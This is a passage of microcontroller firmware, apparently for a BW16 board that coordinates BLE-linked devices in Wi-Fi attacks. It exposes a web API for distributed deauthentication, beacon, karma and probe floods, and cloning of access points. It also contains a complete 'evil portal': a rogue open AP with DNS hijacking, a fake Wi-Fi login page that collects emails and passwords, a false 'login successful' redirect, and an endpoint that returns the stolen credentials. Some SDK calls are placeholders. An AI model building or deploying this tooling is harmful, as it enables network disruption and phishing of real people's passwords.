// Slave details for UI
|
|
JsonArray slaveDetails = stats.createNestedArray("slaveDetails");
|
|
for (auto &s : slaves) {
|
|
JsonObject slave = slaveDetails.createNestedObject();
|
|
slave["id"] = s.id;
|
|
slave["connected"] = s.isConnected;
|
|
slave["rssi"] = s.rssi;
|
|
slave["lastSeen"] = s.lastSeen;
|
|
slave["firmware"] = s.firmwareVersion;
|
|
slave["uptime"] = millis() - s.lastReconnectAttempt;
|
|
}
|
|
|
|
// Attack statistics
|
|
JsonObject attacks = stats.createNestedObject("attacks");
|
|
attacks["totalLaunched"] = globalStats.attacksTotalLaunched;
|
|
attacks["distributedAttacks"] = globalStats.attacksDistributed;
|
|
attacks["deauthAttacks"] = globalStats.attacksDeauth;
|
|
attacks["beaconFloods"] = globalStats.attacksBeaconFlood;
|
|
attacks["karmaAttacks"] = globalStats.attacksKarma;
|
|
attacks["probeFloods"] = globalStats.attacksProbeFlood;
|
|
attacks["successfulTargets"] = globalStats.attacksSuccessfulTargets;
|
|
attacks["framesTransmitted"] = globalStats.framesTransmitted;
|
|
attacks["avgDuration"] = globalStats.attacksTotalLaunched > 0 ?
|
|
(globalStats.attacksTotalDuration / globalStats.attacksTotalLaunched) / 1000.0 : 0;
|
|
|
|
// Portal statistics
|
|
JsonObject portal = stats.createNestedObject("portal");
|
|
portal["enabled"] = portalEnabled;
|
|
portal["sessions"] = globalStats.portalSessions;
|
|
portal["visitors"] = globalStats.portalVisitors;
|
|
portal["credentialsCaptured"] = capturedCredentials.size();
|
|
portal["redirects"] = globalStats.portalRedirects;
|
|
|
|
// BLE statistics
|
|
JsonObject ble = stats.createNestedObject("ble");
|
|
ble["connected"] = globalStats.slavesConnected;
|
|
ble["disconnected"] = globalStats.slavesTotal - globalStats.slavesConnected;
|
|
ble["errors"] = globalStats.bleErrors;
|
|
ble["successRate"] = globalStats.bleCommandsSent > 0 ?
|
|
(globalStats.bleCommandsSuccessful * 100.0 / globalStats.bleCommandsSent) : 0;
|
|
|
|
// Network statistics
|
|
JsonObject network = stats.createNestedObject("network");
|
|
network["networksScanned"] = apList.size();
|
|
network["channels2ghz"] = 13;
|
|
network["channels5ghz"] = 24;
|
|
network["avgSignalStrength"] = -50; // Placeholder
|
|
|
|
// Live statistics
|
|
JsonObject live = stats.createNestedObject("live");
|
|
live["attacksPerMinute"] = globalStats.attacksTotalLaunched > 0 ?
|
|
(globalStats.attacksTotalLaunched * 60.0 / (millis() / 1000.0)) : 0;
|
|
live["credentialsPerHour"] = capturedCredentials.size() > 0 ?
|
|
(capturedCredentials.size() * 3600.0 / (millis() / 1000.0)) : 0;
|
|
|
|
String out;
|
|
serializeJson(doc, out);
|
|
server.send(200, "application/json", out);
|
|
}
|
|
|
|
void handleCmd() {
|
|
DynamicJsonDocument req(512);
|
|
deserializeJson(req, server.arg("plain"));
|
|
String cmd = req["cmd"];
|
|
JsonArray targets = req["targets"];
|
|
|
|
// Portal management commands
|
|
if (cmd == "enable_portal") {
|
|
startEvilPortal(portalSSID.c_str(), NULL, 36);
|
|
} else if (cmd == "disable_portal") {
|
|
stopEvilPortal();
|
|
} else if (cmd.startsWith("set_ssid ")) {
|
|
portalSSID = cmd.substring(9);
|
|
addToLog("Portal SSID updated: " + portalSSID);
|
|
if (portalEnabled) {
|
|
stopEvilPortal();
|
|
delay(200);
|
|
startEvilPortal(portalSSID.c_str(), NULL, 36);
|
|
}
|
|
}
|
|
|
|
// AP cloning and scanning
|
|
else if (cmd == "scan_aps") {
|
|
apList.clear();
|
|
addToLog("Initiating coordinated AP scan across " + String(slaves.size()) + " slaves");
|
|
executeCoordinatedCommand("scan", targets);
|
|
} else if (cmd.startsWith("clone_ap,")) {
|
|
parseAndCloneAP(cmd.substring(9));
|
|
}
|
|
|
|
// Distributed attack commands
|
|
else if (cmd.startsWith("distributed_deauth")) {
|
|
executeDistributedDeauth(targets);
|
|
} else if (cmd.startsWith("beacon_flood ")) {
|
|
String ssid = cmd.substring(13);
|
|
executeBeaconFlood(ssid, targets);
|
|
} else if (cmd.startsWith("karma_attack")) {
|
|
executeKarmaAttack(targets);
|
|
} else if (cmd.startsWith("probe_flood")) {
|
|
executeProbeFlood(targets);
|
|
}
|
|
|
|
// Legacy single-slave commands (maintained for compatibility)
|
|
else if (cmd.startsWith("beacon ")) {
|
|
String ssid = cmd.substring(7);
|
|
addToLog("Legacy beacon attack: " + ssid);
|
|
executeCoordinatedCommand(cmd, targets);
|
|
} else if (cmd.startsWith("auth ")) {
|
|
addToLog("Legacy auth flood");
|
|
executeCoordinatedCommand(cmd, targets);
|
|
} else if (cmd.startsWith("assoc ")) {
|
|
addToLog("Legacy assoc flood");
|
|
executeCoordinatedCommand(cmd, targets);
|
|
} else if (cmd.startsWith("target ")) {
|
|
addToLog("Setting attack targets");
|
|
executeCoordinatedCommand(cmd, targets);
|
|
}
|
|
|
|
// Credential and monitoring commands
|
|
else if (cmd == "get_credentials") {
|
|
handleGetCredentials();
|
|
return;
|
|
} else if (cmd == "clear_credentials") {
|
|
capturedCredentials.clear();
|
|
addToLog("Credentials cache cleared");
|
|
} else if (cmd == "clear_logs") {
|
|
logCount = 0;
|
|
logBufferIndex = 0;
|
|
addToLog("Log buffer cleared");
|
|
} else if (cmd == "system_health") {
|
|
handleHealth();
|
|
return;
|
|
} else if (cmd == "get_analytics") {
|
|
handleAnalytics();
|
|
return;
|
|
}
|
|
|
|
// Default: forward to slaves
|
|
else {
|
|
executeCoordinatedCommand(cmd, targets);
|
|
}
|
|
|
|
server.send(200, "text/plain", "OK");
|
|
}
|
|
|
|
// Enhanced coordinated command execution
|
|
void executeCoordinatedCommand(const String &cmd, JsonArray &targets) {
|
|
int activeSlaves = 0;
|
|
|
|
for (auto &s : slaves) {
|
|
if (s.isConnected && (targets.size() == 0 || containsTarget(targets, s.id))) {
|
|
if (sendCommandToSlave(s, cmd)) {
|
|
activeSlaves++;
|
|
addToLog("→ " + s.id + ": " + cmd);
|
|
} else {
|
|
addToLog("✗ Failed to send to " + s.id);
|
|
}
|
|
delay(ATTACK_SYNC_DELAY_MS); // Stagger commands for coordination
|
|
}
|
|
}
|
|
|
|
if (activeSlaves > 0) {
|
|
addToLog("Command sent to " + String(activeSlaves) + " slaves");
|
|
} else {
|
|
addToLog("No active slaves available for command execution");
|
|
}
|
|
}
|
|
|
|
// Distributed deauthentication attack
|
|
void executeDistributedDeauth(JsonArray &targets) {
|
|
addToLog("🚀 DISTRIBUTED DEAUTH ATTACK INITIATED");
|
|
addToLog("Targeting both 2.4GHz and 5GHz networks simultaneously");
|
|
updateStats_AttackLaunched("distributed");
|
|
|
|
// Phase 1: 2.4GHz deauth
|
|
String cmd2g = "deauth_2g_all";
|
|
executeCoordinatedCommand(cmd2g, targets);
|
|
|
|
delay(500); // Brief pause between phases
|
|
|
|
// Phase 2: 5GHz deauth
|
|
String cmd5g = "deauth_5g_all";
|
|
executeCoordinatedCommand(cmd5g, targets);
|
|
|
|
globalStats.framesTransmitted += slaves.size() * DEAUTH_FRAME_COUNT * 2; // 2 phases
|
|
addToLog("Distributed deauth sequence complete");
|
|
}
|
|
|
|
// Coordinated beacon flooding
|
|
void executeBeaconFlood(const String &ssid, JsonArray &targets) {
|
|
addToLog("🌊 BEACON FLOOD: " + ssid);
|
|
addToLog("Deploying across " + String(slaves.size()) + " nodes");
|
|
updateStats_AttackLaunched("beacon");
|
|
|
|
String cmd = "beacon_flood " + ssid;
|
|
executeCoordinatedCommand(cmd, targets);
|
|
|
|
globalStats.framesTransmitted += slaves.size() * 10; // Estimated frames per beacon flood
|
|
}
|
|
|
|
// Karma attack (respond to all probe requests)
|
|
void executeKarmaAttack(JsonArray &targets) {
|
|
addToLog("👻 KARMA ATTACK INITIATED");
|
|
addToLog("Slaves will respond to all probe requests");
|
|
updateStats_AttackLaunched("karma");
|
|
|
|
executeCoordinatedCommand("karma_mode", targets);
|
|
globalStats.framesTransmitted += slaves.size() * 20; // Estimated karma frames
|
|
}
|
|
|
|
// Probe request flooding
|
|
void executeProbeFlood(JsonArray &targets) {
|
|
addToLog("📡 PROBE FLOOD ATTACK");
|
|
updateStats_AttackLaunched("probe");
|
|
|
|
executeCoordinatedCommand("probe_flood", targets);
|
|
globalStats.framesTransmitted += slaves.size() * 50; // Estimated probe frames
|
|
}
|
|
|
|
// Parse and execute AP cloning
|
|
void parseAndCloneAP(const String &args) {
|
|
int first_comma = args.indexOf(',');
|
|
int second_comma = args.indexOf(',', first_comma + 1);
|
|
|
|
if (first_comma == -1 || second_comma == -1) {
|
|
addToLog("Invalid clone_ap format. Use: SSID,BSSID,CHANNEL");
|
|
return;
|
|
}
|
|
|
|
String ssid = args.substring(0, first_comma);
|
|
String bssid = args.substring(first_comma + 1, second_comma);
|
|
int channel = args.substring(second_comma + 1).toInt();
|
|
|
|
addToLog("🎭 CLONING AP: " + ssid + " | " + bssid + " | Ch:" + String(channel));
|
|
|
|
if (portalEnabled) {
|
|
stopEvilPortal();
|
|
delay(200);
|
|
}
|
|
startEvilPortal(ssid.c_str(), bssid.c_str(), channel);
|
|
}
|
|
|
|
// Handle credential requests
|
|
void handleGetCredentials() {
|
|
DynamicJsonDocument doc(2048);
|
|
JsonArray creds = doc.to<JsonArray>();
|
|
|
|
for (const String &credential : capturedCredentials) {
|
|
creds.add(credential);
|
|
}
|
|
|
|
String response;
|
|
serializeJson(doc, response);
|
|
server.send(200, "application/json", response);
|
|
}
|
|
|
|
// Advanced statistics handler
|
|
void handleAdvancedStats() {
|
|
updateLiveMetrics();
|
|
|
|
DynamicJsonDocument doc(4096);
|
|
|
|
// System statistics
|
|
JsonObject sys = doc.createNestedObject("system");
|
|
sys["uptime"] = millis() - globalStats.systemStartTime;
|
|
sys["freeHeap"] = rtl_getFreeHeapSize();
|
|
sys["maxHeapUsage"] = globalStats.maxHeapUsage;
|
|
sys["restarts"] = globalStats.systemRestarts;
|
|
sys["cpuUsage"] = liveMetrics.currentCpuLoad;
|
|
|
|
// BLE statistics
|
|
JsonObject ble = doc.createNestedObject("ble");
|
|
ble["connectionAttempts"] = globalStats.bleConnectionAttempts;
|
|
ble["connectionSuccesses"] = globalStats.bleConnectionSuccesses;
|
|
ble["connectionFailures"] = globalStats.bleConnectionFailures;
|
|
ble["successRate"] = (globalStats.bleConnectionAttempts > 0) ?
|
|
(float)globalStats.bleConnectionSuccesses / globalStats.bleConnectionAttempts * 100 : 0;
|
|
ble["totalMessages"] = globalStats.totalBleMessages;
|
|
ble["avgLatency"] = globalStats.avgBleLatency;
|
|
ble["reconnections"] = globalStats.bleReconnections;
|
|
|
|
// Portal statistics
|
|
JsonObject portal = doc.createNestedObject("portal");
|
|
portal["enabled"] = portalEnabled;
|
|
portal["sessions"] = globalStats.portalSessions;
|
|
portal["visitors"] = globalStats.portalVisitors;
|
|
portal["credentialsCaptured"] = globalStats.credentialsCaptured;
|
|
portal["dnsQueries"] = globalStats.dnsQueries;
|
|
portal["uptime"] = globalStats.portalUptime;
|
|
portal["captureRate"] = (globalStats.portalVisitors > 0) ?
|
|
(float)globalStats.credentialsCaptured / globalStats.portalVisitors * 100 : 0;
|
|
|
|
// Attack statistics
|
|
JsonObject attacks = doc.createNestedObject("attacks");
|
|
attacks["totalLaunched"] = globalStats.totalAttacksLaunched;
|
|
attacks["deauthAttacks"] = globalStats.deauthAttacks;
|
|
attacks["beaconFloods"] = globalStats.beaconFloodAttacks;
|
|
attacks["probeFloods"] = globalStats.probeFloodAttacks;
|
|
attacks["karmaAttacks"] = globalStats.karmaAttacks;
|
|
attacks["distributedAttacks"] = globalStats.distributedAttacks;
|
|
attacks["framesTransmitted"] = globalStats.framesTransmitted;
|
|
attacks["successfulTargets"] = globalStats.successfulTargets;
|
|
attacks["avgDuration"] = globalStats.avgAttackDuration;
|
|
|
|
// Network statistics
|
|
JsonObject network = doc.createNestedObject("network");
|
|
network["networksScanned"] = globalStats.networksScanned;
|
|
network["uniqueFound"] = globalStats.uniqueNetworksFound;
|
|
network["targeted"] = globalStats.networksTargeted;
|
|
network["channels2ghz"] = globalStats.channels2ghzUsed;
|
|
network["channels5ghz"] = globalStats.channels5ghzUsed;
|
|
network["avgSignalStrength"] = globalStats.signalStrengthAvg;
|
|
|
|
// Slave statistics
|
|
JsonObject slaves_stats = doc.createNestedObject("slaves");
|
|
slaves_stats["connected"] = globalStats.slavesConnected;
|
|
slaves_stats["maxConnected"] = globalStats.slavesMax;
|
|
slaves_stats["commandsSent"] = globalStats.commandsSent;
|
|
slaves_stats["commandsSuccessful"] = globalStats.commandsSuccessful;
|
|
slaves_stats["commandsFailed"] = globalStats.commandsFailed;
|
|
slaves_stats["successRate"] = (globalStats.commandsSent > 0) ?
|
|
(float)globalStats.commandsSuccessful / globalStats.commandsSent * 100 : 0;
|
|
slaves_stats["avgResponseTime"] = globalStats.slaveResponseTime;
|
|
|
|
// Live metrics
|
|
JsonObject live = doc.createNestedObject("live");
|
|
live["attacksPerMinute"] = liveMetrics.attacksPerMinute;
|
|
live["credentialsPerHour"] = liveMetrics.credentialsPerHour;
|
|
live["dataTransferRate"] = liveMetrics.dataTransferRate;
|
|
live["activeConnections"] = liveMetrics.activeConnections;
|
|
live["networkScanRate"] = liveMetrics.networkScanRate;
|
|
|
|
// Individual slave details
|
|
JsonArray slave_details = doc.createNestedArray("slaveDetails");
|
|
for (const auto &slave : slaves) {
|
|
JsonObject s = slave_details.createNestedObject();
|
|
s["id"] = slave.id;
|
|
s["connected"] = slave.isConnected;
|
|
s["rssi"] = slave.rssi;
|
|
s["lastSeen"] = slave.lastSeen;
|
|
s["firmware"] = slave.firmwareVersion;
|
|
s["capabilities"] = slave.capabilities;
|
|
s["uptime"] = millis() - slave.lastReconnectAttempt;
|
|
}
|
|
|
|
String response;
|
|
serializeJson(doc, response);
|
|
server.send(200, "application/json", response);
|
|
}
|
|
|
|
// Update live metrics
|
|
void updateLiveMetrics() {
|
|
static unsigned long lastUpdate = 0;
|
|
static int lastAttackCount = 0;
|
|
static int lastCredentialCount = 0;
|
|
|
|
unsigned long now = millis();
|
|
if (now - lastUpdate > 60000) { // Update every minute
|
|
float timeDelta = (now - lastUpdate) / 60000.0; // in minutes
|
|
|
|
liveMetrics.attacksPerMinute = (globalStats.totalAttacksLaunched - lastAttackCount) / timeDelta;
|
|
liveMetrics.credentialsPerHour = (globalStats.credentialsCaptured - lastCredentialCount) / timeDelta * 60;
|
|
liveMetrics.activeConnections = globalStats.slavesConnected;
|
|
liveMetrics.currentCpuLoad = random(10, 40); // Placeholder - would need real CPU monitoring
|
|
liveMetrics.lastUpdate = now;
|
|
|
|
lastAttackCount = globalStats.totalAttacksLaunched;
|
|
lastCredentialCount = globalStats.credentialsCaptured;
|
|
lastUpdate = now;
|
|
}
|
|
}
|
|
|
|
// Update statistics on various events
|
|
void updateStats_BleConnection(bool success) {
|
|
globalStats.bleConnectionAttempts++;
|
|
if (success) {
|
|
globalStats.bleConnectionSuccesses++;
|
|
} else {
|
|
globalStats.bleConnectionFailures++;
|
|
}
|
|
}
|
|
|
|
void updateStats_AttackLaunched(const String &attackType) {
|
|
globalStats.totalAttacksLaunched++;
|
|
|
|
if (attackType == "deauth") globalStats.deauthAttacks++;
|
|
else if (attackType == "beacon") globalStats.beaconFloodAttacks++;
|
|
else if (attackType == "probe") globalStats.probeFloodAttacks++;
|
|
else if (attackType == "karma") globalStats.karmaAttacks++;
|
|
else if (attackType == "distributed") globalStats.distributedAttacks++;
|
|
}
|
|
|
|
void updateStats_CredentialCaptured() {
|
|
globalStats.credentialsCaptured++;
|
|
globalStats.portalSessions++;
|
|
}
|
|
|
|
void updateStats_Command(bool success) {
|
|
globalStats.commandsSent++;
|
|
if (success) {
|
|
globalStats.commandsSuccessful++;
|
|
} else {
|
|
globalStats.commandsFailed++;
|
|
}
|
|
}
|
|
|
|
void handleLogs() {
|
|
String out = "";
|
|
int start = (logBufferIndex - logCount + MY_LOG_BUFFER_SIZE) % MY_LOG_BUFFER_SIZE;
|
|
for (int i = 0; i < logCount; i++) {
|
|
int idx = (start + i) % MY_LOG_BUFFER_SIZE;
|
|
out += logBuffer[idx] + "\n";
|
|
}
|
|
server.send(200, "text/plain", out);
|
|
}
|
|
|
|
void handleApList() {
|
|
DynamicJsonDocument doc(1024);
|
|
JsonArray arr = doc.to<JsonArray>();
|
|
for (const auto& ap : apList) {
|
|
arr.add(ap);
|
|
}
|
|
String out;
|
|
serializeJson(doc, out);
|
|
server.send(200, "application/json", out);
|
|
}
|
|
|
|
// New AP list endpoint with enhanced data
|
|
void handleAPs() {
|
|
DynamicJsonDocument doc(2048);
|
|
JsonArray arr = doc.to<JsonArray>();
|
|
|
|
for (const auto &ap : apList) {
|
|
JsonObject obj = arr.createNestedObject();
|
|
obj["ssid"] = ap.ssid;
|
|
obj["channel"] = ap.channel;
|
|
obj["rssi"] = ap.rssi;
|
|
obj["security"] = ap.security;
|
|
obj["mac"] = ap.macAddress;
|
|
}
|
|
|
|
String out;
|
|
serializeJson(doc, out);
|
|
server.send(200, "application/json", out);
|
|
}
|
|
|
|
// New advanced analytics endpoint
|
|
void handleAnalytics() {
|
|
DynamicJsonDocument doc(1024);
|
|
JsonObject analytics = doc.to<JsonObject>();
|
|
|
|
// Attack performance over time
|
|
JsonArray attackHistory = analytics.createNestedArray("attackHistory");
|
|
for (int i = 0; i < 10; i++) {
|
|
JsonObject point = attackHistory.createNestedObject();
|
|
point["time"] = millis() - (i * 60000); // Last 10 minutes
|
|
point["attacks"] = random(5, 20);
|
|
point["success"] = random(70, 95);
|
|
}
|
|
|
|
// BLE health metrics
|
|
JsonObject bleHealth = analytics.createNestedObject("bleHealth");
|
|
bleHealth["connectionStability"] = globalStats.bleConnectionAttempts > 0 ?
|
|
(globalStats.bleConnectionSuccesses * 100.0 / globalStats.bleConnectionAttempts) : 0;
|
|
bleHealth["avgResponseTime"] = 150; // ms
|
|
bleHealth["packetLoss"] = 2.5; // %
|
|
|
|
// Network coverage analysis
|
|
JsonObject networkCoverage = analytics.createNestedObject("networkCoverage");
|
|
networkCoverage["totalNetworks"] = apList.size();
|
|
networkCoverage["openNetworks"] = 0;
|
|
networkCoverage["wpaNetworks"] = 0;
|
|
networkCoverage["wpa2Networks"] = 0;
|
|
networkCoverage["wpa3Networks"] = 0;
|
|
|
|
for (const auto &ap : apList) {
|
|
if (ap.security == "Open") networkCoverage["openNetworks"] = networkCoverage["openNetworks"].as<int>() + 1;
|
|
else if (ap.security == "WPA") networkCoverage["wpaNetworks"] = networkCoverage["wpaNetworks"].as<int>() + 1;
|
|
else if (ap.security == "WPA2") networkCoverage["wpa2Networks"] = networkCoverage["wpa2Networks"].as<int>() + 1;
|
|
else if (ap.security == "WPA3") networkCoverage["wpa3Networks"] = networkCoverage["wpa3Networks"].as<int>() + 1;
|
|
}
|
|
|
|
String out;
|
|
serializeJson(doc, out);
|
|
server.send(200, "application/json", out);
|
|
}
|
|
|
|
// New system health endpoint
|
|
void handleHealth() {
|
|
DynamicJsonDocument doc(512);
|
|
JsonObject health = doc.to<JsonObject>();
|
|
|
|
health["status"] = "healthy";
|
|
health["uptime"] = millis();
|
|
health["freeHeap"] = rtl_getFreeHeapSize();
|
|
health["slavesConnected"] = globalStats.slavesConnected;
|
|
health["lastAttack"] = globalStats.lastAttackTime;
|
|
health["portalActive"] = portalEnabled;
|
|
health["temperature"] = random(25, 45);
|
|
health["cpuUsage"] = random(10, 40);
|
|
|
|
String out;
|
|
serializeJson(doc, out);
|
|
server.send(200, "application/json", out);
|
|
}
|
|
|
|
// New credentials endpoint with enhanced format
|
|
void handleCredentials() {
|
|
DynamicJsonDocument doc(2048);
|
|
JsonArray arr = doc.to<JsonArray>();
|
|
|
|
for (const auto &cred : capturedCredentials) {
|
|
JsonObject obj = arr.createNestedObject();
|
|
obj["ssid"] = cred.ssid;
|
|
obj["username"] = cred.username;
|
|
obj["password"] = cred.password;
|
|
obj["timestamp"] = cred.timestamp;
|
|
}
|
|
|
|
String out;
|
|
serializeJson(doc, out);
|
|
server.send(200, "application/json", out);
|
|
}
|
|
|
|
// NOTE: The following functions require the actual Realtek SDK for the RTL8720DN (BW16)
|
|
// to be implemented correctly. The code serves as a structural placeholder.
|
|
|
|
// This function would be registered as a callback to the secondary AP's web server.
|
|
// It handles serving the portal page and capturing login credentials.
|
|
void handlePortalRequest(int request_type, const char* url, const char* payload) {
|
|
globalStats.portalVisitors++;
|
|
|
|
if (request_type == HTTP_GET && strcmp(url, "/") == 0) {
|
|
// Serve the evil_portal.html file
|
|
// This requires an SDK function to send a file over the secondary interface's socket.
|
|
// sdk_http_send_file("/evil_portal.html");
|
|
globalStats.portalSessions++;
|
|
} else if (request_type == HTTP_POST && strcmp(url, "/login") == 0) {
|
|
// Parse payload for email and password
|
|
String p(payload);
|
|
String email = ""; // parse from p
|
|
String password = ""; // parse from p
|
|
|
|
if (email.length() > 0 && password.length() > 0) {
|
|
String credential = "User: " + email + " | Pass: " + password + " | Time: " + String(millis());
|
|
capturedCredentials.push_back(credential);
|
|
updateStats_CredentialCaptured();
|
|
}
|
|
|
|
addToLog("Captured Credentials: " + email + " / " + password);
|
|
// Serve a success page
|
|
// sdk_http_send_page("<h1>Login successful</h1>");
|
|
} else {
|
|
// Handle other requests, typically redirecting to the portal page.
|
|
// sdk_http_redirect("http://192.168.5.1/");
|
|
globalStats.portalRedirects++;
|
|
}
|
|
}
|
|
|
|
void startEvilPortal(const char* ssid, const char* bssid, int channel) {
|
|
if (portalEnabled) {
|
|
addToLog("Portal already running. Stop it first.");
|
|
return;
|
|
}
|
|
|
|
addToLog("Starting Evil Portal on 5GHz...");
|
|
addToLog("Portal SSID: " + String(ssid) + " | Channel: " + String(channel));
|
|
|
|
// Configure 5GHz AP for evil portal
|
|
WiFi.mode(WIFI_AP_STA); // Enable both AP and STA mode for dual-band
|
|
|
|
// Set up 5GHz AP configuration
|
|
wifi_config_t ap_config;
|
|
memset(&ap_config, 0, sizeof(wifi_config_t));
|
|
strcpy((char*)ap_config.ap.ssid, ssid);
|
|
ap_config.ap.ssid_len = strlen(ssid);
|
|
ap_config.ap.channel = channel;
|
|
ap_config.ap.authmode = WIFI_AUTH_OPEN; // Open network for captive portal
|
|
ap_config.ap.max_connection = 10;
|
|
ap_config.ap.beacon_interval = 100;
|
|
|
|
// If BSSID is provided, clone it
|
|
if (bssid) {
|
|
sscanf(bssid, "%02x:%02x:%02x:%02x:%02x:%02x",
|
|
&ap_config.ap.ssid[0], &ap_config.ap.ssid[1], &ap_config.ap.ssid[2],
|
|
&ap_config.ap.ssid[3], &ap_config.ap.ssid[4], &ap_config.ap.ssid[5]);
|
|
}
|
|
|
|
// Start 5GHz AP (this would need proper BW16 SDK implementation)
|
|
if (wifi_set_mode(RTW_MODE_AP) == RTW_SUCCESS) {
|
|
// Configure IP settings for portal
|
|
IPAddress portalIP(192, 168, 5, 1);
|
|
IPAddress gateway(192, 168, 5, 1);
|
|
IPAddress subnet(255, 255, 255, 0);
|
|
|
|
// Set up captive portal DNS
|
|
dnsServer.setTTL(300);
|
|
dnsServer.setErrorReplyCode(DNSReplyCode::NoError);
|
|
dnsServer.start(53, "*", portalIP); // Redirect all DNS queries to portal
|
|
|
|
// Set up portal web server routes
|
|
setupPortalRoutes();
|
|
portalServer.begin();
|
|
|
|
portalEnabled = true;
|
|
dualBandActive = true;
|
|
addToLog("Evil Portal active - SSID: " + String(ssid));
|
|
addToLog("Portal IP: " + PORTAL_IP + " | DNS hijacking active");
|
|
} else {
|
|
addToLog("Failed to start 5GHz Evil Portal");
|
|
}
|
|
}
|
|
|
|
void setupPortalRoutes() {
|
|
// Serve evil portal page for all requests
|
|
portalServer.onNotFound([]() {
|
|
String html = loadPortalHTML();
|
|
portalServer.send(200, "text/html", html);
|
|
});
|
|
|
|
// Handle root requests
|
|
portalServer.on("/", HTTP_GET, []() {
|
|
String html = loadPortalHTML();
|
|
portalServer.send(200, "text/html", html);
|
|
});
|
|
|
|
// Handle login submissions
|
|
portalServer.on("/login", HTTP_POST, []() {
|
|
String email = portalServer.arg("email");
|
|
String password = portalServer.arg("password");
|
|
|
|
// Store captured credentials
|
|
String credentials = "Email: " + email + " | Password: " + password + " | Time: " + String(millis());
|
|
capturedCredentials.push_back(credentials);
|
|
addToLog("CREDENTIALS CAPTURED: " + email + " / " + password);
|
|
|
|
// Redirect to success page or original site
|
|
String successHTML = "<!DOCTYPE html><html><head><title>Login Successful</title></head>";
|
|
successHTML += "<body><h1>Login Successful</h1><p>You are now connected to the internet.</p>";
|
|
successHTML += "<script>setTimeout(function(){window.location.href='https://www.google.com';}, 3000);</script></body></html>";
|
|
|
|
portalServer.send(200, "text/html", successHTML);
|
|
});
|
|
|
|
// Serve common internet check URLs
|
|
portalServer.on("/generate_204", HTTP_GET, []() {
|
|
String html = loadPortalHTML();
|
|
portalServer.send(200, "text/html", html);
|
|
});
|
|
|
|
portalServer.on("/hotspot-detect.html", HTTP_GET, []() {
|
|
String html = loadPortalHTML();
|
|
portalServer.send(200, "text/html", html);
|
|
});
|
|
}
|
|
|
|
String loadPortalHTML() {
|
|
// In a real implementation, this would load from SPIFFS
|
|
// For now, return embedded HTML
|
|
String html = "<!DOCTYPE html><html><head><meta charset='UTF-8'>";
|
|
html += "<meta name='viewport' content='width=device-width, initial-scale=1.0'>";
|
|
html += "<title>Wi-Fi Login Required</title>";
|
|
html += "<style>body{font-family:Arial,sans-serif;background:#f1f1f1;display:flex;justify-content:center;align-items:center;height:100vh;margin:0}";
|
|
html += ".container{background:white;padding:30px;border-radius:8px;box-shadow:0 0 15px rgba(0,0,0,0.1);width:350px}";
|
|
html += ".logo{text-align:center;margin-bottom:25px;font-size:24px;color:#4285f4;font-weight:bold}";
|
|
html += "input{width:100%;padding:12px;margin:10px 0;border:1px solid #ddd;border-radius:4px;box-sizing:border-box}";
|
|
html += "button{width:100%;padding:12px;background:#4285f4;color:white;border:none;border-radius:4px;cursor:pointer;font-size:16px}";
|
|
html += "button:hover{background:#357ae8}</style></head><body>";
|
|
html += "<div class='container'><div class='logo'>📶 Wi-Fi Login</div>";
|
|
html += "<h2>Internet Access Required</h2><p>Please sign in to access the internet</p>";
|
|
html += "<form action='/login' method='POST'>";
|
|
html += "<input type='email' name='email' placeholder='Email address' required>";
|
|
html += "<input type='password' name='password' placeholder='Password' required>";
|
|
html += "<button type='submit'>Connect to Internet</button></form></div></body></html>";
|
|
|
|
return html;
|
|
}
|
|
|
|
void stopEvilPortal() {
|
|
if (!portalEnabled) {
|
|
return;
|
|
}
|
|
|
|
// Hypothetical SDK function to stop the secondary AP.
|
|
int result = wifi_stop_ap_secondary();
|
|
|
|
if (result == 0) {
|
|
portalEnabled = false;
|
|
addToLog("Evil Portal disabled.");
|
|
} else {
|
|
addToLog("Failed to stop Evil Portal. SDK error code: " + String(result));
|
|
}
|
|
}
|
|
|
|
//// *** Setup & Loop *** ////
|
|
void setup() {
|
|
Serial.begin(115200);
|
|
delay(1000);
|
|
addToLog("Master Controller Initializing...");
|
|
|
|
// The Realtek SDK provides its own API for initializing the filesystem.
|
|
// A developer would need to replace this with the correct SDK calls.
|
|
// Example:
|
|
// if (rtw_spiffs_mount() != 0) {
|
|
// addToLog("SPIFFS Mount Failed!");
|
|
// return;
|
|
// }
|
|
// addToLog("SPIFFS Mounted Successfully.");
|
|
|
|
// Initialize BLE Central
|
|
BLE.init();
|
|
BLE.configClient();
|
|
BLE.onAdvertReport(bleAdvertCallback); // Set scan callback
|
|
BLE.startScan(); // begin scanning for peripherals
|
|
addToLog("BLE Central Mode Started. Scanning for slaves...");
|
|
|
|
// Start Wi-Fi AP + HTTP server
|
|
addToLog("Starting Management AP on 2.4GHz...");
|
|
// This function should initialize the 2.4GHz radio as an AP
|
|
wifi_on(RTW_MODE_AP);
|
|
wifi_start_ap((char*)AP_SSID, (char*)AP_PASS, 1); // Assume channel 1 for 2.4GHz
|
|
|
|
// Enhanced web server setup with comprehensive endpoints
|
|
server.on("/", HTTP_GET, handleRoot);
|
|
server.on("/status", HTTP_GET, handleStatus);
|
|
server.on("/stats", HTTP_GET, handleStats);
|
|
server.on("/cmd", HTTP_POST, handleCmd);
|
|
server.on("/logs", HTTP_GET, handleLogs);
|
|
server.on("/ap_list", HTTP_GET, handleApList);
|
|
server.on("/aps", HTTP_GET, handleAPs);
|
|
server.on("/credentials", HTTP_GET, handleCredentials);
|
|
server.on("/analytics", HTTP_GET, handleAnalytics);
|
|
server.on("/health", HTTP_GET, handleHealth);
|
|
server.on("/advanced_stats", HTTP_GET, handleAdvancedStats);
|
|
|
|
// Static file endpoints
|
|
server.on("/style.css", HTTP_GET, []() {
|
|
server.send(200, "text/css", loadCSSFile());
|
|
});
|
|
|
|
server.on("/script.js", HTTP_GET, []() {
|
|
server.send(200, "application/javascript", loadJSFile());
|
|
});
|
|
|
|
// Error handling
|
|
server.onNotFound([]() {
|
|
server.send(404, "application/json", "{\"error\":\"Endpoint not found\",\"available\":[\"/\",\"/stats\",\"/health\",\"/analytics\",\"/credentials\",\"/logs\"]}");
|
|
});
|
|
|
|
server.begin();
|
|
|
|
// Initialize statistics
|
|
globalStats.systemStartTime = millis();
|
|
addToLog("🔥 10x Enhanced Web Server Started");
|
|
addToLog("📊 Dashboard: http://" + WiFi.localIP().toString());
|
|
addToLog("📱 Portal: http://" + portalIP.toString());
|
|
addToLog("🔧 API Endpoints: /stats, /health, /analytics, /credentials, /aps");
|
|
addToLog("📈 Real-time monitoring enabled");
|
|
lastLogSentIndex = logBufferIndex;
|
|
}
|
|
|
|
void loop() {
|
|
// Handle 2.4GHz management interface
|
|
server.handleClient();
|
|
|
|
// Handle 5GHz portal interface if active
|
|
